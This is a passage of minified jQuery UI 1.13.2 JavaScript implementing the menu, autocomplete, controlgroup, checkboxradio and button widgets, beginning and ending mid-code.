0===parseInt(V(this).attr("tabIndex"),10)}).attr("tabIndex",-1),e.attr("aria-hidden","false").prev().attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_animate:function(t,i,e){var s,n,o,a=this,r=0,l=t.css("box-sizing"),h=t.length&&(!i.length||t.index()<i.index()),c=this.options.animate||{},u=h&&c.down||c,h=function(){a._toggleComplete(e)};return n=(n="string"==typeof u?u:n)||u.easing||c.easing,o=(o="number"==typeof u?u:o)||u.duration||c.duration,i.length?t.length?(s=t.show().outerHeight(),i.animate(this.hideProps,{duration:o,easing:n,step:function(t,e){e.now=Math.round(t)}}),void t.hide().animate(this.showProps,{duration:o,easing:n,complete:h,step:function(t,e){e.now=Math.round(t),"height"!==e.prop?"content-box"===l&&(r+=e.now):"content"!==a.options.heightStyle&&(e.now=Math.round(s-i.outerHeight()-r),r=0)}})):i.animate(this.hideProps,o,n,h):t.animate(this.showProps,o,n,h)},_toggleComplete:function(t){var e=t.oldPanel,i=e.prev();this._removeClass(e,"ui-accordion-content-active"),this._removeClass(i,"ui-accordion-header-active")._addClass(i,"ui-accordion-header-collapsed"),e.length&&(e.parent()[0].className=e.parent()[0].className),this._trigger("activate",null,t)}}),V.ui.safeActiveElement=function(e){var i;try{i=e.activeElement}catch(t){i=e.body}return i=!(i=i||e.body).nodeName?e.body:i},V.widget("ui.menu",{version:"1.13.2",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-caret-1-e"},items:"> *",menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.lastMousePosition={x:null,y:null},this.element.uniqueId().attr({role:this.options.role,tabIndex:0}),this._addClass("ui-menu","ui-widget ui-widget-content"),this._on({"mousedown .ui-menu-item":function(t){t.preventDefault(),this._activateItem(t)},"click .ui-menu-item":function(t){var e=V(t.target),i=V(V.ui.safeActiveElement(this.document[0]));!this.mouseHandled&&e.not(".ui-state-disabled").length&&(this.select(t),t.isPropagationStopped()||(this.mouseHandled=!0),e.has(".ui-menu").length?this.expand(t):!this.element.is(":focus")&&i.closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":"_activateItem","mousemove .ui-menu-item":"_activateItem",mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(t,e){var i=this.active||this._menuItems().first();e||this.focus(t,i)},blur:function(t){this._delay(function(){V.contains(this.element[0],V.ui.safeActiveElement(this.document[0]))||this.collapseAll(t)})},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(t){this._closeOnDocumentClick(t)&&this.collapseAll(t,!0),this.mouseHandled=!1}})},_activateItem:function(t){var e,i;this.previousFilter||t.clientX===this.lastMousePosition.x&&t.clientY===this.lastMousePosition.y||(this.lastMousePosition={x:t.clientX,y:t.clientY},e=V(t.target).closest(".ui-menu-item"),i=V(t.currentTarget),e[0]===i[0]&&(i.is(".ui-state-active")||(this._removeClass(i.siblings().children(".ui-state-active"),null,"ui-state-active"),this.focus(t,i))))},_destroy:function(){var t=this.element.find(".ui-menu-item").removeAttr("role aria-disabled").children(".ui-menu-item-wrapper").removeUniqueId().removeAttr("tabIndex role aria-haspopup");this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeAttr("role aria-labelledby aria-expanded aria-hidden aria-disabled tabIndex").removeUniqueId().show(),t.children().each(function(){var t=V(this);t.data("ui-menu-submenu-caret")&&t.remove()})},_keydown:function(t){var e,i,s,n=!0;switch(t.keyCode){case V.ui.keyCode.PAGE_UP:this.previousPage(t);break;case V.ui.keyCode.PAGE_DOWN:this.nextPage(t);break;case V.ui.keyCode.HOME:this._move("first","first",t);break;case V.ui.keyCode.END:this._move("last","last",t);break;case V.ui.keyCode.UP:this.previous(t);break;case V.ui.keyCode.DOWN:this.next(t);break;case V.ui.keyCode.LEFT:this.collapse(t);break;case V.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(t);break;case V.ui.keyCode.ENTER:case V.ui.keyCode.SPACE:this._activate(t);break;case V.ui.keyCode.ESCAPE:this.collapse(t);break;default:e=this.previousFilter||"",s=n=!1,i=96<=t.keyCode&&t.keyCode<=105?(t.keyCode-96).toString():String.fromCharCode(t.keyCode),clearTimeout(this.filterTimer),i===e?s=!0:i=e+i,e=this._filterMenuItems(i),(e=s&&-1!==e.index(this.active.next())?this.active.nextAll(".ui-menu-item"):e).length||(i=String.fromCharCode(t.keyCode),e=this._filterMenuItems(i)),e.length?(this.focus(t,e),this.previousFilter=i,this.filterTimer=this._delay(function(){delete this.previousFilter},1e3)):delete this.previousFilter}n&&t.preventDefault()},_activate:function(t){this.active&&!this.active.is(".ui-state-disabled")&&(this.active.children("[aria-haspopup='true']").length?this.expand(t):this.select(t))},refresh:function(){var t,e,s=this,n=this.options.icons.submenu,i=this.element.find(this.options.menus);this._toggleClass("ui-menu-icons",null,!!this.element.find(".ui-icon").length),e=i.filter(":not(.ui-menu)").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each(function(){var t=V(this),e=t.prev(),i=V("<span>").data("ui-menu-submenu-caret",!0);s._addClass(i,"ui-menu-icon","ui-icon "+n),e.attr("aria-haspopup","true").prepend(i),t.attr("aria-labelledby",e.attr("id"))}),this._addClass(e,"ui-menu","ui-widget ui-widget-content ui-front"),(t=i.add(this.element).find(this.options.items)).not(".ui-menu-item").each(function(){var t=V(this);s._isDivider(t)&&s._addClass(t,"ui-menu-divider","ui-widget-content")}),i=(e=t.not(".ui-menu-item, .ui-menu-divider")).children().not(".ui-menu").uniqueId().attr({tabIndex:-1,role:this._itemRole()}),this._addClass(e,"ui-menu-item")._addClass(i,"ui-menu-item-wrapper"),t.filter(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!V.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(t,e){var i;"icons"===t&&(i=this.element.find(".ui-menu-icon"),this._removeClass(i,null,this.options.icons.submenu)._addClass(i,null,e.submenu)),this._super(t,e)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",String(t)),this._toggleClass(null,"ui-state-disabled",!!t)},focus:function(t,e){var i;this.blur(t,t&&"focus"===t.type),this._scrollIntoView(e),this.active=e.first(),i=this.active.children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),this.options.role&&this.element.attr("aria-activedescendant",i.attr("id")),i=this.active.parent().closest(".ui-menu-item").children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),t&&"keydown"===t.type?this._close():this.timer=this._delay(function(){this._close()},this.delay),(i=e.children(".ui-menu")).length&&t&&/^mouse/.test(t.type)&&this._startOpening(i),this.activeMenu=e.parent(),this._trigger("focus",t,{item:e})},_scrollIntoView:function(t){var e,i,s;this._hasScroll()&&(i=parseFloat(V.css(this.activeMenu[0],"borderTopWidth"))||0,s=parseFloat(V.css(this.activeMenu[0],"paddingTop"))||0,e=t.offset().top-this.activeMenu.offset().top-i-s,i=this.activeMenu.scrollTop(),s=this.activeMenu.height(),t=t.outerHeight(),e<0?this.activeMenu.scrollTop(i+e):s<e+t&&this.activeMenu.scrollTop(i+e-s+t))},blur:function(t,e){e||clearTimeout(this.timer),this.active&&(this._removeClass(this.active.children(".ui-menu-item-wrapper"),null,"ui-state-active"),this._trigger("blur",t,{item:this.active}),this.active=null)},_startOpening:function(t){clearTimeout(this.timer),"true"===t.attr("aria-hidden")&&(this.timer=this._delay(function(){this._close(),this._open(t)},this.delay))},_open:function(t){var e=V.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(t.parents(".ui-menu")).hide().attr("aria-hidden","true"),t.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(e)},collapseAll:function(e,i){clearTimeout(this.timer),this.timer=this._delay(function(){var t=i?this.element:V(e&&e.target).closest(this.element.find(".ui-menu"));t.length||(t=this.element),this._close(t),this.blur(e),this._removeClass(t.find(".ui-state-active"),null,"ui-state-active"),this.activeMenu=t},i?0:this.delay)},_close:function(t){(t=t||(this.active?this.active.parent():this.element)).find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false")},_closeOnDocumentClick:function(t){return!V(t.target).closest(".ui-menu").length},_isDivider:function(t){return!/[^\-\u2014\u2013\s]/.test(t.text())},collapse:function(t){var e=this.active&&this.active.parent().closest(".ui-menu-item",this.element);e&&e.length&&(this._close(),this.focus(t,e))},expand:function(t){var e=this.active&&this._menuItems(this.active.children(".ui-menu")).first();e&&e.length&&(this._open(e.parent()),this._delay(function(){this.focus(t,e)}))},next:function(t){this._move("next","first",t)},previous:function(t){this._move("prev","last",t)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_menuItems:function(t){return(t||this.element).find(this.options.items).filter(".ui-menu-item")},_move:function(t,e,i){var s;(s=this.active?"first"===t||"last"===t?this.active["first"===t?"prevAll":"nextAll"](".ui-menu-item").last():this.active[t+"All"](".ui-menu-item").first():s)&&s.length&&this.active||(s=this._menuItems(this.activeMenu)[e]()),this.focus(i,s)},nextPage:function(t){var e,i,s;this.active?this.isLastItem()||(this._hasScroll()?(i=this.active.offset().top,s=this.element.innerHeight(),0===V.fn.jquery.indexOf("3.2.")&&(s+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.nextAll(".ui-menu-item").each(function(){return(e=V(this)).offset().top-i-s<0}),this.focus(t,e)):this.focus(t,this._menuItems(this.activeMenu)[this.active?"last":"first"]())):this.next(t)},previousPage:function(t){var e,i,s;this.active?this.isFirstItem()||(this._hasScroll()?(i=this.active.offset().top,s=this.element.innerHeight(),0===V.fn.jquery.indexOf("3.2.")&&(s+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.prevAll(".ui-menu-item").each(function(){return 0<(e=V(this)).offset().top-i+s}),this.focus(t,e)):this.focus(t,this._menuItems(this.activeMenu).first())):this.next(t)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(t){this.active=this.active||V(t.target).closest(".ui-menu-item");var e={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(t,!0),this._trigger("select",t,e)},_filterMenuItems:function(t){var t=t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&"),e=new RegExp("^"+t,"i");return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter(function(){return e.test(String.prototype.trim.call(V(this).children(".ui-menu-item-wrapper").text()))})}});V.widget("ui.autocomplete",{version:"1.13.2",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,liveRegionTimer:null,_create:function(){var i,s,n,t=this.element[0].nodeName.toLowerCase(),e="textarea"===t,t="input"===t;this.isMultiLine=e||!t&&this._isContentEditable(this.element),this.valueMethod=this.element[e||t?"val":"text"],this.isNewMenu=!0,this._addClass("ui-autocomplete-input"),this.element.attr("autocomplete","off"),this._on(this.element,{keydown:function(t){if(this.element.prop("readOnly"))s=n=i=!0;else{s=n=i=!1;var e=V.ui.keyCode;switch(t.keyCode){case e.PAGE_UP:i=!0,this._move("previousPage",t);break;case e.PAGE_DOWN:i=!0,this._move("nextPage",t);break;case e.UP:i=!0,this._keyEvent("previous",t);break;case e.DOWN:i=!0,this._keyEvent("next",t);break;case e.ENTER:this.menu.active&&(i=!0,t.preventDefault(),this.menu.select(t));break;case e.TAB:this.menu.active&&this.menu.select(t);break;case e.ESCAPE:this.menu.element.is(":visible")&&(this.isMultiLine||this._value(this.term),this.close(t),t.preventDefault());break;default:s=!0,this._searchTimeout(t)}}},keypress:function(t){if(i)return i=!1,void(this.isMultiLine&&!this.menu.element.is(":visible")||t.preventDefault());if(!s){var e=V.ui.keyCode;switch(t.keyCode){case e.PAGE_UP:this._move("previousPage",t);break;case e.PAGE_DOWN:this._move("nextPage",t);break;case e.UP:this._keyEvent("previous",t);break;case e.DOWN:this._keyEvent("next",t)}}},input:function(t){if(n)return n=!1,void t.preventDefault();this._searchTimeout(t)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(t){clearTimeout(this.searching),this.close(t),this._change(t)}}),this._initSource(),this.menu=V("<ul>").appendTo(this._appendTo()).menu({role:null}).hide().attr({unselectable:"on"}).menu("instance"),this._addClass(this.menu.element,"ui-autocomplete","ui-front"),this._on(this.menu.element,{mousedown:function(t){t.preventDefault()},menufocus:function(t,e){var i,s;if(this.isNewMenu&&(this.isNewMenu=!1,t.originalEvent&&/^mouse/.test(t.originalEvent.type)))return this.menu.blur(),void this.document.one("mousemove",function(){V(t.target).trigger(t.originalEvent)});s=e.item.data("ui-autocomplete-item"),!1!==this._trigger("focus",t,{item:s})&&t.originalEvent&&/^key/.test(t.originalEvent.type)&&this._value(s.value),(i=e.item.attr("aria-label")||s.value)&&String.prototype.trim.call(i).length&&(clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay(function(){this.liveRegion.html(V("<div>").text(i))},100))},menuselect:function(t,e){var i=e.item.data("ui-autocomplete-item"),s=this.previous;this.element[0]!==V.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=s,this._delay(function(){this.previous=s,this.selectedItem=i})),!1!==this._trigger("select",t,{item:i})&&this._value(i.value),this.term=this._value(),this.close(t),this.selectedItem=i}}),this.liveRegion=V("<div>",{role:"status","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeAttr("autocomplete"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(t,e){this._super(t,e),"source"===t&&this._initSource(),"appendTo"===t&&this.menu.element.appendTo(this._appendTo()),"disabled"===t&&e&&this.xhr&&this.xhr.abort()},_isEventTargetInWidget:function(t){var e=this.menu.element[0];return t.target===this.element[0]||t.target===e||V.contains(e,t.target)},_closeOnClickOutside:function(t){this._isEventTargetInWidget(t)||this.close()},_appendTo:function(){var t=this.options.appendTo;return t=!(t=!(t=t&&(t.jquery||t.nodeType?V(t):this.document.find(t).eq(0)))||!t[0]?this.element.closest(".ui-front, dialog"):t).length?this.document[0].body:t},_initSource:function(){var i,s,n=this;Array.isArray(this.options.source)?(i=this.options.source,this.source=function(t,e){e(V.ui.autocomplete.filter(i,t.term))}):"string"==typeof this.options.source?(s=this.options.source,this.source=function(t,e){n.xhr&&n.xhr.abort(),n.xhr=V.ajax({url:s,data:t,dataType:"json",success:function(t){e(t)},error:function(){e([])}})}):this.source=this.options.source},_searchTimeout:function(s){clearTimeout(this.searching),this.searching=this._delay(function(){var t=this.term===this._value(),e=this.menu.element.is(":visible"),i=s.altKey||s.ctrlKey||s.metaKey||s.shiftKey;t&&(e||i)||(this.selectedItem=null,this.search(null,s))},this.options.delay)},search:function(t,e){return t=null!=t?t:this._value(),this.term=this._value(),t.length<this.options.minLength?this.close(e):!1!==this._trigger("search",e)?this._search(t):void 0},_search:function(t){this.pending++,this._addClass("ui-autocomplete-loading"),this.cancelSearch=!1,this.source({term:t},this._response())},_response:function(){var e=++this.requestIndex;return function(t){e===this.requestIndex&&this.__response(t),this.pending--,this.pending||this._removeClass("ui-autocomplete-loading")}.bind(this)},__response:function(t){t=t&&this._normalize(t),this._trigger("response",null,{content:t}),!this.options.disabled&&t&&t.length&&!this.cancelSearch?(this._suggest(t),this._trigger("open")):this._close()},close:function(t){this.cancelSearch=!0,this._close(t)},_close:function(t){this._off(this.document,"mousedown"),this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",t))},_change:function(t){this.previous!==this._value()&&this._trigger("change",t,{item:this.selectedItem})},_normalize:function(t){return t.length&&t[0].label&&t[0].value?t:V.map(t,function(t){return"string"==typeof t?{label:t,value:t}:V.extend({},t,{label:t.label||t.value,value:t.value||t.label})})},_suggest:function(t){var e=this.menu.element.empty();this._renderMenu(e,t),this.isNewMenu=!0,this.menu.refresh(),e.show(),this._resizeMenu(),e.position(V.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next(),this._on(this.document,{mousedown:"_closeOnClickOutside"})},_resizeMenu:function(){var t=this.menu.element;t.outerWidth(Math.max(t.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(i,t){var s=this;V.each(t,function(t,e){s._renderItemData(i,e)})},_renderItemData:function(t,e){return this._renderItem(t,e).data("ui-autocomplete-item",e)},_renderItem:function(t,e){return V("<li>").append(V("<div>").text(e.label)).appendTo(t)},_move:function(t,e){if(this.menu.element.is(":visible"))return this.menu.isFirstItem()&&/^previous/.test(t)||this.menu.isLastItem()&&/^next/.test(t)?(this.isMultiLine||this._value(this.term),void this.menu.blur()):void this.menu[t](e);this.search(null,e)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(t,e){this.isMultiLine&&!this.menu.element.is(":visible")||(this._move(t,e),e.preventDefault())},_isContentEditable:function(t){if(!t.length)return!1;var e=t.prop("contentEditable");return"inherit"===e?this._isContentEditable(t.parent()):"true"===e}}),V.extend(V.ui.autocomplete,{escapeRegex:function(t){return t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(t,e){var i=new RegExp(V.ui.autocomplete.escapeRegex(e),"i");return V.grep(t,function(t){return i.test(t.label||t.value||t)})}}),V.widget("ui.autocomplete",V.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(t){return t+(1<t?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(t){var e;this._superApply(arguments),this.options.disabled||this.cancelSearch||(e=t&&t.length?this.options.messages.results(t.length):this.options.messages.noResults,clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay(function(){this.liveRegion.html(V("<div>").text(e))},100))}});V.ui.autocomplete;var tt=/ui-corner-([a-z]){2,6}/g;V.widget("ui.controlgroup",{version:"1.13.2",defaultElement:"<div>",options:{direction:"horizontal",disabled:null,onlyVisible:!0,items:{button:"input[type=button], input[type=submit], input[type=reset], button, a",controlgroupLabel:".ui-controlgroup-label",checkboxradio:"input[type='checkbox'], input[type='radio']",selectmenu:"select",spinner:".ui-spinner-input"}},_create:function(){this._enhance()},_enhance:function(){this.element.attr("role","toolbar"),this.refresh()},_destroy:function(){this._callChildMethod("destroy"),this.childWidgets.removeData("ui-controlgroup-data"),this.element.removeAttr("role"),this.options.items.controlgroupLabel&&this.element.find(this.options.items.controlgroupLabel).find(".ui-controlgroup-label-contents").contents().unwrap()},_initWidgets:function(){var o=this,a=[];V.each(this.options.items,function(s,t){var e,n={};if(t)return"controlgroupLabel"===s?((e=o.element.find(t)).each(function(){var t=V(this);t.children(".ui-controlgroup-label-contents").length||t.contents().wrapAll("<span class='ui-controlgroup-label-contents'></span>")}),o._addClass(e,null,"ui-widget ui-widget-content ui-state-default"),void(a=a.concat(e.get()))):void(V.fn[s]&&(n=o["_"+s+"Options"]?o["_"+s+"Options"]("middle"):{classes:{}},o.element.find(t).each(function(){var t=V(this),e=t[s]("instance"),i=V.widget.extend({},n);"button"===s&&t.parent(".ui-spinner").length||((e=e||t[s]()[s]("instance"))&&(i.classes=o._resolveClassesValues(i.classes,e)),t[s](i),i=t[s]("widget"),V.data(i[0],"ui-controlgroup-data",e||t[s]("instance")),a.push(i[0]))})))}),this.childWidgets=V(V.uniqueSort(a)),this._addClass(this.childWidgets,"ui-controlgroup-item")},_callChildMethod:function(e){this.childWidgets.each(function(){var t=V(this).data("ui-controlgroup-data");t&&t[e]&&t[e]()})},_updateCornerClass:function(t,e){e=this._buildSimpleOptions(e,"label").classes.label;this._removeClass(t,null,"ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all"),this._addClass(t,null,e)},_buildSimpleOptions:function(t,e){var i="vertical"===this.options.direction,s={classes:{}};return s.classes[e]={middle:"",first:"ui-corner-"+(i?"top":"left"),last:"ui-corner-"+(i?"bottom":"right"),only:"ui-corner-all"}[t],s},_spinnerOptions:function(t){t=this._buildSimpleOptions(t,"ui-spinner");return t.classes["ui-spinner-up"]="",t.classes["ui-spinner-down"]="",t},_buttonOptions:function(t){return this._buildSimpleOptions(t,"ui-button")},_checkboxradioOptions:function(t){return this._buildSimpleOptions(t,"ui-checkboxradio-label")},_selectmenuOptions:function(t){var e="vertical"===this.options.direction;return{width:e&&"auto",classes:{middle:{"ui-selectmenu-button-open":"","ui-selectmenu-button-closed":""},first:{"ui-selectmenu-button-open":"ui-corner-"+(e?"top":"tl"),"ui-selectmenu-button-closed":"ui-corner-"+(e?"top":"left")},last:{"ui-selectmenu-button-open":e?"":"ui-corner-tr","ui-selectmenu-button-closed":"ui-corner-"+(e?"bottom":"right")},only:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"}}[t]}},_resolveClassesValues:function(i,s){var n={};return V.each(i,function(t){var e=s.options.classes[t]||"",e=String.prototype.trim.call(e.replace(tt,""));n[t]=(e+" "+i[t]).replace(/\s+/g," ")}),n},_setOption:function(t,e){"direction"===t&&this._removeClass("ui-controlgroup-"+this.options.direction),this._super(t,e),"disabled"!==t?this.refresh():this._callChildMethod(e?"disable":"enable")},refresh:function(){var n,o=this;this._addClass("ui-controlgroup ui-controlgroup-"+this.options.direction),"horizontal"===this.options.direction&&this._addClass(null,"ui-helper-clearfix"),this._initWidgets(),n=this.childWidgets,(n=this.options.onlyVisible?n.filter(":visible"):n).length&&(V.each(["first","last"],function(t,e){var i,s=n[e]().data("ui-controlgroup-data");s&&o["_"+s.widgetName+"Options"]?((i=o["_"+s.widgetName+"Options"](1===n.length?"only":e)).classes=o._resolveClassesValues(i.classes,s),s.element[s.widgetName](i)):o._updateCornerClass(n[e](),e)}),this._callChildMethod("refresh"))}});V.widget("ui.checkboxradio",[V.ui.formResetMixin,{version:"1.13.2",options:{disabled:null,label:null,icon:!0,classes:{"ui-checkboxradio-label":"ui-corner-all","ui-checkboxradio-icon":"ui-corner-all"}},_getCreateOptions:function(){var t,e=this._super()||{};return this._readType(),t=this.element.labels(),this.label=V(t[t.length-1]),this.label.length||V.error("No label found for checkboxradio widget"),this.originalLabel="",(t=this.label.contents().not(this.element[0])).length&&(this.originalLabel+=t.clone().wrapAll("<div></div>").parent().html()),this.originalLabel&&(e.label=this.originalLabel),null!=(t=this.element[0].disabled)&&(e.disabled=t),e},_create:function(){var t=this.element[0].checked;this._bindFormResetHandler(),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled),this._setOption("disabled",this.options.disabled),this._addClass("ui-checkboxradio","ui-helper-hidden-accessible"),this._addClass(this.label,"ui-checkboxradio-label","ui-button ui-widget"),"radio"===this.type&&this._addClass(this.label,"ui-checkboxradio-radio-label"),this.options.label&&this.options.label!==this.originalLabel?this._updateLabel():this.originalLabel&&(this.options.label=this.originalLabel),this._enhance(),t&&this._addClass(this.label,"ui-checkboxradio-checked","ui-state-active"),this._on({change:"_toggleClasses",focus:function(){this._addClass(this.label,null,"ui-state-focus ui-visual-focus")},blur:function(){this._removeClass(this.label,null,"ui-state-focus ui-visual-focus")}})},_readType:function(){var t=this.element[0].nodeName.toLowerCase();this.type=this.element[0].type,"input"===t&&/radio|checkbox/.test(this.type)||V.error("Can't create checkboxradio on element.nodeName="+t+" and element.type="+this.type)},_enhance:function(){this._updateIcon(this.element[0].checked)},widget:function(){return this.label},_getRadioGroup:function(){var t=this.element[0].name,e="input[name='"+V.escapeSelector(t)+"']";return t?(this.form.length?V(this.form[0].elements).filter(e):V(e).filter(function(){return 0===V(this)._form().length})).not(this.element):V([])},_toggleClasses:function(){var t=this.element[0].checked;this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",t),this.options.icon&&"checkbox"===this.type&&this._toggleClass(this.icon,null,"ui-icon-check ui-state-checked",t)._toggleClass(this.icon,null,"ui-icon-blank",!t),"radio"===this.type&&this._getRadioGroup().each(function(){var t=V(this).checkboxradio("instance");t&&t._removeClass(t.label,"ui-checkboxradio-checked","ui-state-active")})},_destroy:function(){this._unbindFormResetHandler(),this.icon&&(this.icon.remove(),this.iconSpace.remove())},_setOption:function(t,e){if("label"!==t||e){if(this._super(t,e),"disabled"===t)return this._toggleClass(this.label,null,"ui-state-disabled",e),void(this.element[0].disabled=e);this.refresh()}},_updateIcon:function(t){var e="ui-icon ui-icon-background ";this.options.icon?(this.icon||(this.icon=V("<span>"),this.iconSpace=V("<span> </span>"),this._addClass(this.iconSpace,"ui-checkboxradio-icon-space")),"checkbox"===this.type?(e+=t?"ui-icon-check ui-state-checked":"ui-icon-blank",this._removeClass(this.icon,null,t?"ui-icon-blank":"ui-icon-check")):e+="ui-icon-blank",this._addClass(this.icon,"ui-checkboxradio-icon",e),t||this._removeClass(this.icon,null,"ui-icon-check ui-state-checked"),this.icon.prependTo(this.label).after(this.iconSpace)):void 0!==this.icon&&(this.icon.remove(),this.iconSpace.remove(),delete this.icon)},_updateLabel:function(){var t=this.label.contents().not(this.element[0]);this.icon&&(t=t.not(this.icon[0])),(t=this.iconSpace?t.not(this.iconSpace[0]):t).remove(),this.label.append(this.options.label)},refresh:function(){var t=this.element[0].checked,e=this.element[0].disabled;this._updateIcon(t),this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",t),null!==this.options.label&&this._updateLabel(),e!==this.options.disabled&&this._setOptions({disabled:e})}}]);var et;V.ui.checkboxradio;V.widget("ui.button",{version:"1.13.2",defaultElement:"<button>",options:{classes:{"ui-button":"ui-corner-all"},disabled:null,icon:null,iconPosition:"beginning",label:null,showLabel:!0},_getCreateOptions:function(){var t,e=this._super()||{};return this.isInput=this.element.is("input"),null!=(t=this.element[0].disabled)&&(e.disabled=t),this.originalLabel=this.isInput?this.element.val():this.element.html(),this.originalLabel&&(e.label=this.originalLabel),e},_create:function(){!this.option.showLabel&!this.options.icon&&(this.options.showLabel=!0),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled||!1),this.hasTitle=!!this.element.attr("title"),this.options.label&&this.options.label!==this.originalLabel&&(this.isInput?this.element.val(this.options.label):this.element.html(this.options.label)),this._addClass("ui-button","ui-widget"),this._setOption("disabled",this.options.disabled),this._enhance(),this.element.is("a")&&this._on({keyup:function(t){t.keyCode===V.ui.keyCode.SPACE&&(t.preventDefault(),this.element[0].click?this.element[0].click():this.element.trigger("click"))}})},_enhance:function(){this.element.is("button")||this.element.attr("role","button"),this.options.icon&&(this._updateIcon("icon",this.options.icon),this._updateTooltip())},_updateTooltip:function(){this.title=this.element.attr("title"),this.options.showLabel||this.title||this.element.attr("title",this.options.label)},_updateIcon:function(t,e){var i="iconPosition"!==t,s=i?this.options.iconPosition:e,t="top"===s||"bottom"===s;this.icon?i&&this._removeClass(this.icon,null,this.options.icon):(this.icon=V("<span>"),this._addClass(this.icon,"ui-button-icon","ui-icon"),this.options.showLabel||this._addClass("ui-button-icon-only")),i&&this._addClass(this.icon,null,e),this._attachIcon(s),t?(this._addClass(this.icon,null,"ui-widget-icon-block"),this.iconSpace&&this.iconSpace.remove()):(this.iconSpace||(this.iconSpace=V("<span> </span>"),this._addClass(this.iconSpace,"ui-button-icon-space")),this._removeClass(this.icon,null,"ui-wiget-icon-block"),this._attachIconSpace(s))},_destroy:function(){this.element.removeAttr("role"),this.icon&&this.icon.remove(),this.iconSpace&&this.iconSpace.remove(),this.hasTitle||this.element.removeAttr("title")},_attachIconSpace:function(t){this.icon[/^(?:end|bottom)/.test(t)?"before":"after"](this.iconSpace)},_attachIcon:function(t){this.element[/^(?:end|bottom)/.test(t)?"append":"prepend"](this.icon)},_setOptions:function(t){var e=(void 0===t.showLabel?this.options:t).showLabel,i=(void 0===t.icon?this.options:t).icon;e||i||(t.showLabel=!0),this._super(t)},_setOption:function(t,e){"icon"===t&&(e?this._updateIcon(t,e):this.icon&&(this.icon.remove(),this.iconSpace&&this.iconSpace.remove())),"iconPosition"===t&&this._updateIcon(t,e),"showLabel"===t&&(this._toggleClass("ui-button-icon-only",null,!e),this._updateTooltip()),"label"===t&&(this.isInput?this.element.val(e):(this.element.html(e),this.icon&&(this._attachIcon(this.options.iconPosition),this._attachIconSpace(this.options.iconPosition)))),this._super(t,e),"disabled"===t&&(this._toggleClass(null,"ui-state-disabled",e),(this.element[0].disabled=e)&&this.element.trigger("blur"))},refresh:function(){var t=this.element.is("input, button")?this.element[0].disabled:this.element.hasClass("ui-button-disabled");t!==this.options.disabled&&this._setOptions({disabled:t}),this._updateTooltip()}}),!1!==V.uiBackCompat&&(V.widget("ui.button",V.ui.button,{options:{text:!0,icons:{primary:null,secondary:null}},_create:function(){this.options.showLabel&&!this.options.text&&(this.options.showLabel=this.options.text),!this.options.showLabel&&this.options.text&&(this.options.text=this.options.showLabel),this.options.icon||!this.options.icons.primary&&!this.options.icons.secondary?this.options.icon&&(this.options.icons.primary=this.options.icon):this.options.icons.primary?this.options.icon=this.options.icons.primary:(this.options.icon=this.options.icons.secondary,this.options.iconPosition="end"),this._super()},_setOption:function(t,e){"text"!==t?("showLabel"===t&&(this.options.text=e),"icon"===t&&(this.options.icons.primary=e),"icons"===t&&(e.primary?(this._super("icon",e.primary),this._super("iconPosition","beginning")):e.secondary&&(this._super("icon",e.secondary),this._super("iconPosition","end"))),this._superApply(arguments)):this._super("showLabel",e)}}),V.fn.button=(et=V.fn.button,function(i){var t="string"==typeof 